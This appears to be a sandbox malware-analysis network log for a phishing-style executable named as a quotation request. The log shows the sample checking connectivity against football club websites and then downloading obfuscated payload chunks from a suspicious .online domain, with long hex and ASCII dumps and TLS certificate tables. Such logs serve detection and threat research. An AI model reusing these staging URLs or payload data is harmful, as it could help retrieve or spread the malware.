73 73 64 77 49 77 64 77 42 75 64 77 77 6d 64 73 75 64 74 42 64 74 6d 64 77 49 77 64 Data Ascii: d63<p>dwIBdBdssdwBadwIwdwwwdsBdswdwwadtcdttdsadwwBdwwtdwwIdwwxdtBdssdwIBdBdtmdwwBdwwsdxtdwBsdwBudwBBdsBdxtdwwcdxtdwBxdwBwdwwadwBwdwwcdttdwBudwIBdBdttdwBwdwwudwwudxtdwBmdwBwdaadwwwdwIBdBdwBxdscdtIdwBBdwwxdwBmdwIIdtcdwwudwwIdsxdwwudtwdtcdwIwdwIBdBdxudxudxudsudtxdxsdttdwwtdsudwBsdtxdtsdwwxdttdwwBdwwtdwIIdwIBdBdtwdsadssdxtdwBIdwIwdttdaudwIwdBdtwdwIIdswdwBadsxdsIdtadaadaxdwBwdtadtBdxBdsadscdtIdxsdtBdwIIdttdatdwIwdBdwwIdssdwIwdwBudwwmdsudtBdtmdwIwd

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49772	151.101.2.133	80	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Timestamp	kBytes transferred	Direction	Data
Mar 3, 2021 07:33:28.545456886 CET	8373	OUT	GET / HTTP/1.1 User-Agent: Other Host: www.chelseafc.com Connection: Keep-Alive
Mar 3, 2021 07:33:28.586528063 CET	8373	IN	HTTP/1.1 302 Found Retry-After: 0 Content-Length: 0 Location: https://www.chelseafc.com/en Accept-Ranges: bytes Date: Wed, 03 Mar 2021 06:33:28 GMT Connection: close Vary: Accept-Encoding, Accept-Language Access-Control-Allow-Origin: * X-Powered-By: Curiosity X-Geo-Country_code: CH

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49778	172.67.179.188	80	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Timestamp	kBytes transferred	Direction	Data
Mar 3, 2021 07:33:30.910617113 CET	9000	OUT	GET /base/BE5201E9C42925D8E78FC1784E088C41.html HTTP/1.1 User-Agent: Other Host: 0k10dk21kkeok2e.online Connection: Keep-Alive
Mar 3, 2021 07:33:31.110133886 CET	9001	IN	HTTP/1.1 200 OK Date: Wed, 03 Mar 2021 06:33:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d89845c462708d55c49fc4d892a0a4bd01614753210; expires=Fri, 02-Apr-21 06:33:30 GMT; path=/; domain=.0k10dk21kkeok2e.online; HttpOnly; SameSite=Lax Last-Modified: Tue, 02 Mar 2021 05:41:04 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 089863ba420000075e5e388000000001 Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=GkApqqb5KR2oPyI2FjDPkmKvFCtCqBGyDrvH7XngBB%2FbUXr2txXxb%2BTdigNR6LhBbfOsDiqaAfZES8WvMUzvqSBGwP%2BGQsBOxp%2FWDbAXPOAnN7f9ELPJ"}],"max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 62a0d5706fa2075e-LHR alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 37 63 37 66 0d 0a 3c 70 3e 74 74 64 78 42 64 77 63 63 64 42 64 6d 64 42 64 42 64 42 64 63 64 42 64 42 64 42 64 49 75 75 64 49 75 75 64 42 64 42 64 77 73 63 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 61 63 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 77 49 73 64 42 64 42 64 42 64 77 63 64 6d 77 64 77 73 61 64 77 63 64 42 64 77 73 42 64 78 64 49 42 75 64 6d 6d 64 77 73 63 64 77 64 74 61 64 49 42 75 64 6d 6d 64 73 63 64 77 42 63 64 77 42 75 64 77 77 75 64 6d 49 64 77 77 49 64 77 77 63 64 77 77 77 64 77 42 6d 64 77 77 63 64 78 74 64 77 42 78 64 6d 49 64 78 78 64 78 74 64 77 77 42 64 77 77 42 64 77 77 77 64 77 77 61 64 6d 49 64 78 73 64 77 42 77 64 6d 49 64 77 77 63 64 77 77 74 64 77 77 42 64 6d 49 64 77 42 75 64 77 77 42 64 6d 49 64 61 73 64 74 78 64 73 6d 64 6d 49 64 77 42 78 64 77 77 77 64 77 42 42 64 77 42 77 64 63 61 64 77 6d 64 77 6d 64 77 42 64 6d 61 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 73 42 64 61 78 64 42 64 42 64 74 61 64 77 64 6d 64 42 64 74 61 64 77 63 49 64 63 77 64 77 73 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 49 49 63 64 42 64 6d 63 64 42 64 77 77 64 77 64 73 42 64 42 64 42 64 77 77 49 64 77 6d 64 42 64 42 64 61 64 42 64 42 64 42 Data Ascii: 7c7f<p>ttdxBdwccdBdmdBdBdBdcdBdBdBdIuudIuudBdBdwscdBdBdBdBdBdBdBdacdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdwIsdBdBdBdwcdmwdwsadwcdBdwsBdxdIBudmmdwscdwdtadIBudmmdscdwBcdwBudwwudmIdwwIdwwcdwwwdwBmdwwcdxtdwBxdmIdxxdxtdwwBdwwBdwwwdwwadmIdxsdwBwdmIdwwcdwwtdwwBdmIdwBudwwBdmIdasdtxdsmdmIdwBxdwwwdwBBdwBwdcadwmdwmdwBdmadBdBdBdBdBdBdBdsBdaxdBdBdtadwdmdBdtadwcIdcwdwsBdBdBdBdBdBdBdBdBdIIcdBdmcdBdwwdwdsBdBdBdwwIdwmdBdBdadBdBdB
Mar 3, 2021 07:33:31.110158920 CET	9003	IN	Data Raw: 64 42 64 42 64 42 64 77 75 73 64 77 63 6d 64 77 6d 64 42 64 42 64 6d 49 64 42 64 42 64 42 64 77 61 42 64 77 6d 64 42 64 42 64 42 64 42 64 77 49 73 64 42 64 6d 49 64 42 64 42 64 42 64 49 64 42 64 42 64 63 64 42 64 42 64 42 64 42 64 42 64 42 64 42 Data Ascii: dBdBdBdwusdwcmdwmdBdBdmIdBdBdBdwaBdwmdBdBdBdBdwIsdBdmIdBdBdBdIdBdBdcdBdBdBdBdBdBdBdcdBdBdBdBdBdBdBdBdIIcdwmdBdBdIdBdBdBdBdBdBdIdBdacdwmmdBdBdwadBdBdwadBdBdBdBdwadBdBdwadBdBdBdBdBdBdwadBdBdBdBdBdBdBdBdBdBdBdasdwcmdwmdBdstdBdBdBdBdwaBdwmdBdIwIdm
Mar 3, 2021 07:33:31.110177040 CET	9004	IN	Data Raw: 64 77 49 64 42 64 42 64 42 64 77 61 64 42 64 42 64 42 64 49 42 64 42 64 42 64 42 64 49 63 64 42 64 42 64 42 64 49 73 64 42 64 42 64 42 64 6d 61 64 42 64 42 64 42 64 49 61 64 63 42 64 77 6d 64 42 64 42 64 61 64 63 49 64 63 49 64 49 75 63 64 78 64 Data Ascii: dwIdBdBdBdwadBdBdBdIBdBdBdBdIcdBdBdBdIsdBdBdBdmadBdBdBdIadcBdwmdBdBdadcIdcIdIucdxdBdBdcBdwwtdBdBdwBdcIdmBdIdcBdwmadBdBdwBdcIdmsdBdIdcBdwmtdBdBdwBdBdcIdwaadwwudwmsdBdBdwBdwIsdcdBdBdcdwwudwmxdBdBdwBdwIsdudBdBdcdwwudwcBdBdBdwBdwIsdadBdBdcdwwudwcw
Mar 3, 2021 07:33:31.110193014 CET	9005	IN	Data Raw: 64 42 64 49 75 63 64 77 64 49 75 63 64 77 63 64 42 64 42 64 63 6d 64 61 64 49 75 63 64 49 49 64 63 63 64 42 64 42 64 77 64 49 75 63 64 77 49 64 42 64 42 64 75 74 64 77 61 61 64 49 61 64 42 64 42 64 42 64 42 64 49 73 64 77 63 77 64 63 75 64 42 64 Data Ascii: dBdIucdwdIucdwcdBdBdcmdadIucdIIdccdBdBdwdIucdwIdBdBdutdwaadIadBdBdBdBdIsdwcwdcudBdBdwdmtdmIdudBdBdBdmwdxxdwutdmtdmIdudBdBdBdmwducdwutdmtdmIdudBdBdBdmwduudwutdmtdmIdudBdBdBdmwdumdwutdmtdItdmwdwIudwutdmtdmIdcdBdBdBdmwdwBIdwutdmtdmIdcdBdBdBdmwdwB
Mar 3, 2021 07:33:31.110213995 CET	9007	IN	Data Raw: 78 64 77 75 74 64 6d 74 64 6d 49 64 77 75 64 42 64 42 64 42 64 6d 77 64 77 42 77 64 77 75 74 64 6d 74 64 6d 49 64 77 75 64 42 64 42 64 42 64 6d 77 64 77 42 42 64 77 75 74 64 6d 74 64 6d 77 64 77 75 64 6d 77 64 63 61 64 77 75 74 64 6d 74 64 6d 49 Data Ascii: xdwutdmtdmIdwudBdBdBdmwdwBwdwutdmtdmIdwudBdBdBdmwdwBBdwutdmtdmwdwudmwdcadwutdmtdmIdwcdBdBdBdmwdwBIdwutdmtdmIdwcdBdBdBdmwdwBBdwutdmtdmIdwcdBdBdBdmwdxtdwutdmtdmIdwcdBdBdBdmwdcsdwutdmtdmwdwcdmwdwwBdwutdmtdmIdwmdBdBdBdmwduudwutdmtdmIdwmdBdBdBdmwdu
Mar 3, 2021 07:33:31.110230923 CET	9008	IN	Data Raw: 42 42 64 77 75 74 64 6d 74 64 49 61 64 6d 77 64 61 75 64 77 75 74 64 6d 74 64 6d 49 64 6d 64 42 64 42 64 42 64 6d 77 64 63 73 64 77 75 74 64 6d 74 64 6d 49 64 6d 64 42 64 42 64 42 64 6d 77 64 78 74 64 77 75 74 64 6d 74 64 6d 49 64 6d 64 42 64 42 Data Ascii: BBdwutdmtdIadmwdaudwutdmtdmIdmdBdBdBdmwdcsdwutdmtdmIdmdBdBdBdmwdxtdwutdmtdmIdmdBdBdBdmwdxxdwutdmtdmIdmdBdBdBdmwduIdwutdmtdIudmwdxIdwutdmtdmIdIdBdBdBdmwduadwutdmtdmIdIdBdBdBdmwdcsdwutdmtdmIdIdBdBdBdmwdxxdwutdmtdmIdIdBdBdBdmwdwBIdwutdmtdIcdmwdwI
Mar 3, 2021 07:33:31.110245943 CET	9010	IN	Data Raw: 64 6d 49 64 77 49 64 42 64 42 64 42 64 6d 77 64 63 78 64 77 75 74 64 6d 74 64 6d 49 64 77 49 64 42 64 42 64 42 64 6d 77 64 75 63 64 77 75 74 64 6d 74 64 6d 49 64 77 49 64 42 64 42 64 42 64 6d 77 64 78 74 64 77 75 74 64 6d 74 64 6d 49 64 77 49 64 Data Ascii: dmIdwIdBdBdBdmwdcxdwutdmtdmIdwIdBdBdBdmwducdwutdmtdmIdwIdBdBdBdmwdxtdwutdmtdmIdwIdBdBdBdmwduwdwutdmtdmwdwIdmwdsIdwutdmtdmIdwwdBdBdBdmwdcsdwutdmtdmIdwwdBdBdBdmwdwBIdwutdmtdmIdwwdBdBdBdmwdutdwutdmtdmIdwwdBdBdBdmwduwdwutdmtdmwdwwdmwdwBBdwutdmtdmI
Mar 3, 2021 07:33:31.110260963 CET	9011	IN	Data Raw: 75 74 64 6d 74 64 6d 49 64 77 64 42 64 42 64 42 64 6d 77 64 75 61 64 77 75 74 64 6d 74 64 49 6d 64 6d 77 64 63 73 64 77 75 74 64 6d 74 64 6d 49 64 42 64 42 64 42 64 42 64 6d 77 64 75 49 64 77 75 74 64 6d 74 64 6d 49 64 42 64 42 64 42 64 42 64 6d Data Ascii: utdmtdmIdwdBdBdBdmwduadwutdmtdImdmwdcsdwutdmtdmIdBdBdBdBdmwduIdwutdmtdmIdBdBdBdBdmwdutdwutdmtdmIdBdBdBdBdmwdxsdwutdmtdmIdBdBdBdBdmwduIdwutdmtdIIdmwdwImdwutdwwudIIdBdBdwBdBdIucdwIdwdBdcBdIsdBdBdwBdwwwdmIdBdBdwBdBdIucdwIdmdBdwwwdmwdBdBdwBdmwdwwB
Mar 3, 2021 07:33:31.110275984 CET	9012	IN	Data Raw: 74 64 6d 49 64 77 42 77 64 42 64 42 64 42 64 6d 77 64 75 63 64 77 75 74 64 6d 74 64 6d 77 64 77 42 77 64 6d 77 64 61 75 64 77 75 74 64 6d 74 64 6d 49 64 77 42 42 64 42 64 42 64 42 64 6d 77 64 75 6d 64 77 75 74 64 6d 74 64 6d 49 64 77 42 42 64 42 Data Ascii: tdmIdwBwdBdBdBdmwducdwutdmtdmwdwBwdmwdaudwutdmtdmIdwBBdBdBdBdmwdumdwutdmtdmIdwBBdBdBdBdmwduBdwutdmtdmIdwBBdBdBdBdmwdxsdwutdmtdmIdwBBdBdBdBdmwduadwutdmtdmwdwBBdmwdwwBdwutdmtdmIdxxdBdBdBdmwdxxdwutdmtdmIdxxdBdBdBdmwduwdwutdmtdmIdxxdBdBdBdmwduIdwu
Mar 3, 2021 07:33:31.110290051 CET	9014	IN	Data Raw: 42 64 6d 77 64 63 78 64 77 75 74 64 6d 74 64 6d 77 64 78 42 64 6d 77 64 77 77 77 64 77 75 74 64 6d 74 64 6d 49 64 73 78 64 42 64 42 64 42 64 6d 77 64 77 42 42 64 77 75 74 64 6d 74 64 6d 49 64 73 78 64 42 64 42 64 42 64 6d 77 64 78 73 64 77 75 74 Data Ascii: BdmwdcxdwutdmtdmwdxBdmwdwwwdwutdmtdmIdsxdBdBdBdmwdwBBdwutdmtdmIdsxdBdBdBdmwdxsdwutdmtdmIdsxdBdBdBdmwduadwutdmtdmIdsxdBdBdBdmwduadwutdmtdmwdsxdmwdwwadwutdmtdmIdssdBdBdBdmwdcsdwutdmtdmIdssdBdBdBdmwdcxdwutdmtdmIdssdBdBdBdmwdumdwutdmtdmIdssdBdBdBd
Mar 3, 2021 07:33:31.111180067 CET	9015	IN	Data Raw: 6d 77 64 74 78 64 6d 77 64 73 6d 64 77 75 74 64 6d 74 64 6d 49 64 74 73 64 42 64 42 64 42 64 6d 77 64 77 42 42 64 77 75 74 64 6d 74 64 6d 49 64 74 73 64 42 64 42 64 42 64 6d 77 64 75 63 64 77 75 74 64 6d 74 64 6d 49 64 74 73 64 42 64 42 64 42 64 Data Ascii: mwdtxdmwdsmdwutdmtdmIdtsdBdBdBdmwdwBBdwutdmtdmIdtsdBdBdBdmwducdwutdmtdmIdtsdBdBdBdmwduIdwutdmtdmIdtsdBdBdBdmwdwBIdwutdmtdmwdtsdmwdctdwutdmtdmIdttdBdBdBdmwduwdwutdmtdmIdttdBdBdBdmwdutdwutdmtdmIdttdBdBdBdmwduwdwutdmtdmIdttdBdBdBdmwduwdwutdmtdmwd
Mar 3, 2021 07:33:31.556164026 CET	10064	OUT	GET /base/2EFB732049D86A274BE3059F4762FB9F.html HTTP/1.1 User-Agent: Other Host: 0k10dk21kkeok2e.online
Mar 3, 2021 07:33:31.749295950 CET	10065	IN	HTTP/1.1 200 OK Date: Wed, 03 Mar 2021 06:33:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=dcd6410092afd3f2a6f7899dbacc93dfe1614753211; expires=Fri, 02-Apr-21 06:33:31 GMT; path=/; domain=.0k10dk21kkeok2e.online; HttpOnly; SameSite=Lax Last-Modified: Tue, 02 Mar 2021 05:41:08 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 089863bcc70000075e4c202000000001 Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=hlfkSS3y%2F5BAkhCZ%2FOJdRcvtHXvJEdZed%2Bwikj6BA5lq%2BqSvmUf4pV8ex%2F4Fh1TAC9NpRJPMPBRRGqi%2FTlLe7%2Bal4uDNrr2qcI%2Byh5Z3wNvKhmpqD9NR"}],"max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 62a0d5747baa075e-LHR alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 37 30 37 32 0d 0a 3c 70 3e 75 49 64 49 6d 61 64 49 6d 61 64 77 75 73 64 77 75 73 64 73 75 64 73 75 64 77 73 77 64 73 78 64 6d 73 64 6d 73 64 6d 77 64 6d 77 64 49 6d 78 64 49 6d 73 64 49 49 75 64 77 42 73 64 78 49 64 78 49 64 63 42 64 63 42 64 77 78 61 64 77 78 61 64 63 6d 64 49 42 74 64 77 75 78 64 77 75 78 64 49 75 42 64 49 75 42 64 77 6d 61 64 77 6d 75 64 77 61 77 64 63 6d 64 49 75 64 49 75 64 63 77 64 63 77 64 77 78 78 64 77 78 78 64 63 63 64 49 42 73 64 77 61 49 64 77 61 49 64 49 77 73 64 49 77 73 64 77 42 61 64 77 42 75 64 63 49 64 77 73 42 64 77 6d 49 64 77 6d 49 64 77 73 49 64 77 73 49 64 49 63 42 64 49 63 42 64 49 63 73 64 77 75 61 64 49 6d 75 64 49 6d 75 64 77 61 78 64 77 61 78 64 77 6d 49 64 77 6d 77 64 77 61 74 64 63 78 64 6d 64 6d 64 75 77 64 75 77 64 77 42 74 64 77 42 74 64 49 42 63 64 77 77 49 64 77 64 77 64 77 49 61 64 77 49 61 64 49 42 6d 64 49 42 49 64 61 63 64 49 42 49 64 77 73 61 64 77 73 61 64 77 6d 61 64 77 6d 61 64 6d 63 64 6d 63 64 77 49 61 64 6d 63 64 77 75 64 77 75 64 77 6d 63 64 77 6d 63 64 77 73 42 64 77 74 78 64 61 73 64 49 42 61 64 77 61 6d 64 77 61 6d 64 49 77 77 64 49 77 77 64 74 75 64 74 75 64 49 6d 42 64 77 6d 73 64 77 73 77 64 77 73 77 64 77 63 63 64 77 63 63 64 77 61 63 64 77 61 6d 64 75 77 64 77 73 78 64 49 42 42 64 49 42 42 64 77 61 75 64 77 61 75 64 61 6d 64 61 6d 64 Data Ascii: 7072<p>uIdImadImadwusdwusdsudsudwswdsxdmsdmsdmwdmwdImxdImsdIIudwBsdxIdxIdcBdcBdwxadwxadcmdIBtdwuxdwuxdIuBdIuBdwmadwmudwawdcmdIudIudcwdcwdwxxdwxxdccdIBsdwaIdwaIdIwsdIwsdwBadwBudcIdwsBdwmIdwmIdwsIdwsIdIcBdIcBdIcsdwuadImudImudwaxdwaxdwmIdwmwdwatdcxdmdmduwduwdwBtdwBtdIBcdwwIdwdwdwIadwIadIBmdIBIdacdIBIdwsadwsadwmadwmadmcdmcdwIadmcdwudwudwmcdwmcdwsBdwtxdasdIBadwamdwamdIwwdIwwdtudtudImBdwmsdwswdwswdwccdwccdwacdwamduwdwsxdIBBdIBBdwaudwaudamdamd
Mar 3, 2021 07:33:40.558033943 CET	11587	OUT	GET /base/87D299F76097B9A9304F3C6E7641EB09.html HTTP/1.1 User-Agent: Other Host: 0k10dk21kkeok2e.online
Mar 3, 2021 07:33:40.762228012 CET	11745	IN	HTTP/1.1 200 OK Date: Wed, 03 Mar 2021 06:33:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=dbe923126963b570a8e39249781118c211614753220; expires=Fri, 02-Apr-21 06:33:40 GMT; path=/; domain=.0k10dk21kkeok2e.online; HttpOnly; SameSite=Lax Last-Modified: Tue, 02 Mar 2021 05:41:10 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 089863dff10000075e05814000000001 Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=EoPOOj8cGtSHn40gg0xFWgafZMC%2FpDM9zUJ2j4i%2FVHzFTyOZ474lsGTIUhkqx68nyNKL3ZZ3%2BwxZHr0chho2qRIRZ4mJeUJrPtoZIIYk34DHlzFuPMB0"}],"max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 62a0d5acbc01075e-LHR alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 37 63 38 32 0d 0a 3c 70 3e 64 77 49 42 64 42 64 73 73 64 77 42 61 64 77 49 77 64 77 77 77 64 73 42 64 73 77 64 77 77 61 64 74 63 64 74 74 64 73 61 64 77 77 42 64 77 77 74 64 77 77 49 64 77 77 78 64 74 42 64 73 73 64 77 49 42 64 42 64 74 6d 64 77 77 42 64 77 77 73 64 78 74 64 77 42 73 64 77 42 75 64 77 42 42 64 73 42 64 78 74 64 77 77 63 64 78 74 64 77 42 78 64 77 42 77 64 77 77 61 64 77 42 77 64 77 77 63 64 74 74 64 77 42 75 64 77 49 42 64 42 64 74 74 64 77 42 77 64 77 77 75 64 77 77 75 64 78 74 64 77 42 6d 64 77 42 77 64 61 61 64 77 77 77 64 77 49 42 64 42 64 77 42 78 64 73 63 64 74 49 64 77 42 42 64 77 77 78 64 77 42 6d 64 77 49 49 64 74 63 64 77 77 75 64 77 77 49 64 73 78 64 77 77 75 64 74 77 64 74 63 64 77 49 77 64 77 49 42 64 42 64 78 75 64 78 75 64 78 75 64 73 75 64 74 78 64 78 73 64 74 74 64 77 77 74 64 73 75 64 77 42 73 64 74 78 64 74 73 64 77 77 78 64 74 74 64 77 77 42 64 77 77 74 64 77 49 49 64 77 49 42 64 42 64 74 77 64 73 61 64 73 73 64 78 74 64 77 42 49 64 77 49 77 64 74 74 64 61 75 64 77 49 77 64 42 64 74 77 64 77 49 49 64 73 77 64 77 42 61 64 73 78 64 73 49 64 74 61 64 61 61 64 61 78 64 77 42 77 64 74 61 64 74 42 64 78 42 64 73 61 64 73 63 64 74 49 64 78 73 64 74 42 64 77 49 49 64 74 74 64 61 74 64 77 49 77 64 42 64 77 77 49 64 73 73 64 77 49 77 64 77 42 75 64 77 77 6d 64 73 75 64 74 42 64 74 6d 64 77 49 77 64 42 64 61 Data Ascii: 7c82<p>dwIBdBdssdwBadwIwdwwwdsBdswdwwadtcdttdsadwwBdwwtdwwIdwwxdtBdssdwIBdBdtmdwwBdwwsdxtdwBsdwBudwBBdsBdxtdwwcdxtdwBxdwBwdwwadwBwdwwcdttdwBudwIBdBdttdwBwdwwudwwudxtdwBmdwBwdaadwwwdwIBdBdwBxdscdtIdwBBdwwxdwBmdwIIdtcdwwudwwIdsxdwwudtwdtcdwIwdwIBdBdxudxudxudsudtxdxsdttdwwtdsudwBsdtxdtsdwwxdttdwwBdwwtdwIIdwIBdBdtwdsadssdxtdwBIdwIwdttdaudwIwdBdtwdwIIdswdwBadsxdsIdtadaadaxdwBwdtadtBdxBdsadscdtIdxsdtBdwIIdttdatdwIwdBdwwIdssdwIwdwBudwwmdsudtBdtmdwIwdBda

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49794	13.225.80.63	80	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Timestamp	kBytes transferred	Direction	Data
Mar 3, 2021 07:33:46.350569963 CET	13506	OUT	GET / HTTP/1.1 User-Agent: Other Host: www.liverpoolfc.com Connection: Keep-Alive
Mar 3, 2021 07:33:46.390043020 CET	13528	IN	HTTP/1.1 301 Moved Permanently Server: CloudFront Date: Wed, 03 Mar 2021 06:33:46 GMT Content-Type: text/html Content-Length: 183 Connection: keep-alive Location: https://www.liverpoolfc.com/ X-Cache: Redirect from cloudfront Via: 1.1 2fcedcc055e24d7ac99fbc19ed8fc8ec.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA2-C2 X-Amz-Cf-Id: oO7pfbrP4xdgPdzEzZyRFMP74SsMtJeZqc0xvFa8OUu9f-30XETofw== Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>CloudFront</center></body></html>

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Mar 3, 2021 07:32:41.452980042 CET	13.225.80.63	443	192.168.2.4	49747	CN=*.liverpoolfc.com CN=Amazon, OU=Server CA 1B, O=Amazon, C=US CN=Amazon Root CA 1, O=Amazon, C=US CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Amazon, OU=Server CA 1B, O=Amazon, C=US CN=Amazon Root CA 1, O=Amazon, C=US CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Fri Feb 12 01:00:00 CET 2021 Thu Oct 22 02:00:00 CEST 2015 Mon May 25 14:00:00 CEST 2015 Wed Sep 02 02:00:00 CEST 2009	Mon Mar 14 00:59:59 CET 2022 Sun Oct 19 02:00:00 CEST 2025 Thu Dec 31 02:00:00 CET 2037 Wed Jun 28 19:39:16 CEST 2034	769,49162-49161-49172-49171-53-47-10,0-10-11-35-23-65281,29-23-24,0	54328bd36c14bd82ddaa0c04b25ed9ad
					CN=Amazon, OU=Server CA 1B, O=Amazon, C=US	CN=Amazon Root CA 1, O=Amazon, C=US	Thu Oct 22 02:00:00 CEST 2015	Sun Oct 19 02:00:00 CEST 2025
					CN=Amazon Root CA 1, O=Amazon, C=US	CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	Mon May 25 14:00:00 CEST 2015	Thu Dec 31 02:00:00 CET 2037
					CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Wed Sep 02 02:00:00 CEST 2009	Wed Jun 28 19:39:16 CEST 2034
Mar 3, 2021 07:33:18.825743914 CET	104.21.19.200	443	192.168.2.4	49762	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Aug 10 02:00:00 CEST 2020 Mon Jan 27 13:48:08 CET 2020	Tue Aug 10 14:00:00 CEST 2021 Wed Jan 01 00:59:59 CET 2025	769,49162-49161-49172-49171-53-47-10,0-10-11-35-23-65281,29-23-24,0	54328bd36c14bd82ddaa0c04b25ed9ad
Mar 3, 2021 07:33:18.825743914 CET	104.21.19.200	443	192.168.2.4	49762	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Mon Jan 27 13:48:08 CET 2020	Wed Jan 01 00:59:59 CET 2025		54328bd36c14bd82ddaa0c04b25ed9ad
Mar 3, 2021 07:33:46.711175919 CET	13.225.80.53	443	192.168.2.4	49795	CN=*.liverpoolfc.com CN=Amazon, OU=Server CA 1B, O=Amazon, C=US CN=Amazon Root CA 1, O=Amazon, C=US CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Amazon, OU=Server CA 1B, O=Amazon, C=US CN=Amazon Root CA 1, O=Amazon, C=US CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Fri Feb 12 01:00:00 CET 2021 Thu Oct 22 02:00:00 CEST 2015 Mon May 25 14:00:00 CEST 2015 Wed Sep 02 02:00:00 CEST 2009	Mon Mar 14 00:59:59 CET 2022 Sun Oct 19 02:00:00 CEST 2025 Thu Dec 31 02:00:00 CET 2037 Wed Jun 28 19:39:16 CEST 2034	769,49162-49161-49172-49171-53-47-10,0-10-11-35-23-65281,29-23-24,0	54328bd36c14bd82ddaa0c04b25ed9ad
					CN=Amazon, OU=Server CA 1B, O=Amazon, C=US	CN=Amazon Root CA 1, O=Amazon, C=US	Thu Oct 22 02:00:00 CEST 2015	Sun Oct 19 02:00:00 CEST 2025
					CN=Amazon Root CA 1, O=Amazon, C=US	CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	Mon May 25 14:00:00 CEST 2015	Thu Dec 31 02:00:00 CET 2037
					CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies, Inc.", L=Scottsdale, ST=Arizona, C=US	OU=Starfield Class 2 Certification Authority, O="Starfield Technologies, Inc.", C=US	Wed Sep 02 02:00:00 CEST 2009	Wed Jun 28 19:39:16 CEST 2034
